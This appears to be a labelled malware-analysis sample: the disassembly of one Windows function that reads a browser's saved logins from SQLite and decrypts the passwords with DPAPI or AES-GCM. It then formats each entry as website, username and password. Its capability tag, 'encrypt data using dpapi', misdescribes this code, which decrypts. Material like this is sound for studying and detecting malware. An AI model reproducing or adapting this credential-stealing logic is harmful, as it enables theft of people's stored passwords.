Function at 0x14000a7a0
Capabilities:
Encrypt data using dpapi

Disassembly:
push rdi
mov eax, 0x8b80
call fcn.1400c2ab0
sub rsp, rax
mov rax, qword [0x1400f1290]
xor rax, rsp
mov qword [rsp + 0x8b70], rax
lea rax, str.ENCCHAR_SELECT_origin_url__username_value__password_value_FROM_logins
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x150], 0
jmp 0x14000a7f7
mov eax, dword [rsp + 0x150]
inc eax
mov dword [rsp + 0x150], eax
movsxd rax, dword [rsp + 0x150]
cmp rax, 1
jae 0x14000a842
movsxd rax, dword [rsp + 0x150]
movsxd rcx, dword [rsp + 0x150]
mov dword [rsp + 0x28], 0xc8
mov rax, qword [rsp + rax*8 + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 7
mov edx, dword [0x1400f36f8]
mov rcx, qword [rsp + rcx*8 + 0x50]
call fcn.14000e6a0
jmp 0x14000a7e7
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x44], 0
xor eax, eax
mov word [rsp + 0x64], ax
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x40], 0
lea rcx, [rsp + 0x40]
call fcn.14000a4a0
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x48], 0
mov edx, 0x30d40
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000ae34
call fcn.14000a330
mov qword [rsp + 0x158], rax
cmp qword [rsp + 0x158], 0
je 0x14000ae1a
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*2]
lea rdx, [0x1400d85f8]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov r9, qword [rsp + 0x158]
lea r8, [0x1400d6974]
mov edx, 0x7fff
lea rcx, [rsp + 0x170]
call fcn.1400c2f70
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x170]
call fcn.1400bd020
test eax, eax
jne 0x14000ade2
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x8170]
mov r8d, 0xffffffff
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x160]
call fcn.140063f20
test eax, eax
jne 0x14000ada9
mov rcx, qword [rsp + 0x8170]
call fcn.140035dc0
cmp eax, 0x64
jne 0x14000ad9a
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*2]
lea rdx, [0x1400d8600]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
xor edx, edx
mov rcx, qword [rsp + 0x8170]
call fcn.1400378f0
mov qword [rsp + 0x8180], rax
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*2]
mov r8, qword [rsp + 0x8180]
lea rdx, str.Website:__s_r_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov edx, 1
mov rcx, qword [rsp + 0x8170]
call fcn.1400378f0
mov qword [rsp + 0x8188], rax
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*2]
mov r8, qword [rsp + 0x8188]
lea rdx, str.Username:__s_r_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov edx, 2
mov rcx, qword [rsp + 0x8170]
call fcn.140037820
mov qword [rsp + 0x8178], rax
mov rax, qword [rsp + 0x8178]
movsx eax, byte [rax]
cmp eax, 0x76
je 0x14000ab72
mov dword [rsp + 0x8580], 0x401
mov rax, qword [rsp + 0x8178]
mov qword [rsp + 0x8588], rax
lea rax, [rsp + 0x8590]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x8580]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x14000aae0
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*2]
lea rdx, str.Password:_N_A_r_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14000ab6d
mov eax, dword [rsp + 0x8590]
mov rcx, qword [rsp + 0x8598]
mov byte [rcx + rax], 0
mov dword [rsp + 0x28], 0x3e8
lea rax, [rsp + 0x8190]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x8598]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*2]
lea r8, [rsp + 0x8190]
lea rdx, [0x1400d8668]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov rcx, qword [rsp + 0x8598]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x14000ad95
mov rax, qword [rsp + 0x8178]
movsx eax, byte [rax]
cmp eax, 0x76
jne 0x14000ad95
cmp qword [rsp + 0x68], 0
je 0x14000ad95
mov r8d, 0x64
xor edx, edx
lea rcx, [rsp + 0x89d0]
call fcn.1400c2980
mov rax, qword [rsp + 0x8178]
add rax, 3
mov r8d, 0xc
mov rdx, rax
lea rcx, [rsp + 0x89d0]
call fcn.1400c2b10
mov r8d, 0x64
xor edx, edx
lea rcx, [rsp + 0x8950]
call fcn.1400c2980
mov edx, 2
mov rcx, qword [rsp + 0x8170]
call fcn.1400376c0
mov dword [rsp + 0x85a0], eax
cmp dword [rsp + 0x85a0], 0
jne 0x14000ac06
jmp 0x14000a95b
mov eax, dword [rsp + 0x85a0]
sub eax, 0xf
mov dword [rsp + 0x85a0], eax
movsxd rax, dword [rsp + 0x85a0]
mov rcx, qword [rsp + 0x8178]
add rcx, 0xf
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x8950]
call fcn.1400c2b10
mov eax, dword [rsp + 0x85a0]
mov dword [rsp + 0x89c0], eax
call fcn.1400bfa50
mov dword [rsp + 0x86e0], 0
lea rax, [rsp + 0x86e8]
mov rdi, rax
xor eax, eax
mov ecx, 0x260
rep stosb byte [rdi], al
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x86e0]
call fcn.1400bfa70
test eax, eax
je 0x14000ac90
jmp 0x14000a95b
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xc
lea r8, [rsp + 0x89d0]
xor edx, edx
lea rcx, [rsp + 0x86e0]
call fcn.1400bfdf0
test eax, eax
je 0x14000acc8
jmp 0x14000a95b
mov r8d, 0x12c
xor edx, edx
lea rcx, [rsp + 0x85b0]
call fcn.1400c2980
movsxd rax, dword [rsp + 0x89c0]
lea r9, [rsp + 0x85b0]
lea r8, [rsp + 0x8950]
mov rdx, rax
lea rcx, [rsp + 0x86e0]
call fcn.1400c05b0
test eax, eax
je 0x14000ad0e
jmp 0x14000a95b
mov byte [rsp + 0x8a40], 0
lea rax, [rsp + 0x8a41]
mov rdi, rax
xor eax, eax
mov ecx, 0x12b
rep stosb byte [rdi], al
mov r8d, 0x12c
lea rdx, [rsp + 0x8a40]
lea rcx, [rsp + 0x86e0]
call fcn.1400c0900
mov eax, dword [rsp + 0x89c0]
sub eax, 0x10
cdqe
mov byte [rsp + rax + 0x85b0], 0
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*2]
lea r8, [rsp + 0x85b0]
lea rdx, str.Password:__S_r_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x14000a95b
mov rcx, qword [rsp + 0x8170]
call fcn.1400301d0
jmp 0x14000add3
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*2]
lea rdx, str.sqlite3_prepare_v2___failed._The_database_might_be_busy._Try_closing_the_browser._r_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov rcx, qword [rsp + 0x160]
call fcn.1400ba5d0
jmp 0x14000ae0c
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*2]
lea rdx, str.sqlite3_open___failed._The_database_might_be_busy._Try_closing_the_browser._r_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp qword [rsp + 0x68], 0
je 0x14000ae2d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rax, qword [rsp + 0x48]
jmp 0x14000ae49
cmp qword [rsp + 0x68], 0
je 0x14000ae47
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov rcx, qword [rsp + 0x8b70]
xor rcx, rsp
call fcn.1400c2a80
add rsp, 0x8b80
pop rdi
ret